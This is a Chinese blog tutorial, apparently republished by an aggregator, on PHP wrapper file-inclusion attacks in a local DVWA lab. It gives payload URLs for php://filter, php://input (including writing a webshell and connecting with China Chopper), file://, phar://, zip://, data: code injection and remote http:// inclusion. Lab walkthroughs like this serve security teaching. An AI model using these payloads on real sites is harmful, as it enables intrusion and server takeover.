php伪协议(文件包含)
Posted 番茄酱料
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了php伪协议(文件包含)相关的知识,希望对你有一定的参考价值。
php支持多种封装协议
一.实验环境
dvwa平台low级别,phpstudy中设置为5.4.45版本
*将php.ini中的allow_url_fopen和allow_url_include都改为On
需要四个文件:
1.index.php(默认有,在phpStudy\\PHPTutorial\\WWW\\DVWA-master\\vulnerabilities\\fi目录下)
2.index.php同级目录下创建1.txt文件
3.创建2.txt文件
4.创建3.txt并且解压为3.zip
再说明一下,include()函数对文件后缀名无要求,而对其中的语法有要求,即使后缀名为txt,jpg也会被当做php文件解析,只要文件内是<?php ?>形式就可以执行,但是如果不是php语法的形式,即使后缀为php,也无法执行。
二.演示
1.php://访问输入输出流,有两个常用的子协议
(1)php://filter设计用来过滤筛选文件
用法:非php语法文件include失败,直接输出源码内容
命令:php://filter/resource=1.txt
用法:php语法文件include成功,直接运行
命令:php://filter/resource=2.txt
如果想要读取运行php文件的源码,可以先base64编码,再传入include函数,这样就不会被认为是php文件,不会执行,会输出文件的base64编码,再解码即可。
若采用rot13编码,对php文件中的<?是无效的,仍会被认为是php文件去执行,但其中的内容是乱码的,是没有输出效果的。
(2)php://input
这个协议的利用方法是 将要执行的语法php代码写在post中提交,不用键与值的形式,只写代码即可。
命令:php://input(get中)
<?php phpinfo();?>(post中)
这里我们用input协议将shell写入网站目录下
首先该目录下没有shell.php
然后写入
命令:php://input(get中)
查看目录成功生成
访问网址,菜刀进行连接
成功
2.file:// 与php:filter类似,访问本地文件,但是只能传入绝对路径
命令:file://E:/phpStudy/PHPTutorial/WWW/DVWA-master/vulnerabilities/fi/2.txt
3.Phar://可以查找指定压缩包内的文件
(1)传入绝对路径
命令:
http://127.0.0.1:81/DVWA-master/vulnerabilities/fi/?page=phar://E:/phpStudy/PHPTutorial/WWW/DVWA-master/vulnerabilities/fi/3.zip/3.txt
(2)传入相对路径(同级目录下的文件开始)
命令:http://127.0.0.1:81/DVWA-master/vulnerabilities/fi/?page=phar://3.zip/3.txt
4.zip://用法与phar类似,不过要注意两点
(1)只能传入绝对路径
(2)要用#分隔压缩包和压缩包内的内容,并且#要用url编码%23
命令:
http://127.0.0.1:81/DVWA-master/vulnerabilities/fi/?page=zip://E:/phpStudy/PHPTutorial/WWW/DVWA-master/vulnerabilities/fi/3.zip%233.txt
5.data与input类似,都是用户可以控制传入的php代码
data:text/plain,<?php 执行内容 ?>
(1)data:text/plain,<?php%20echo%20%27success%27%20?>
(2)使用base64编码
data:text/plain;(注意分号不是逗号,与前面不同)base64,编码后的php代码
实验不成功…
附一张别人的成功图:
6.http协议
include中也可以传入外部链接,采用http://,具体怎么利用以后再来填坑。
命令:?page=http://www.baidu.com
一张图总结:
以上是关于php伪协议(文件包含)的主要内容,如果未能解决你的问题,请参考以下文章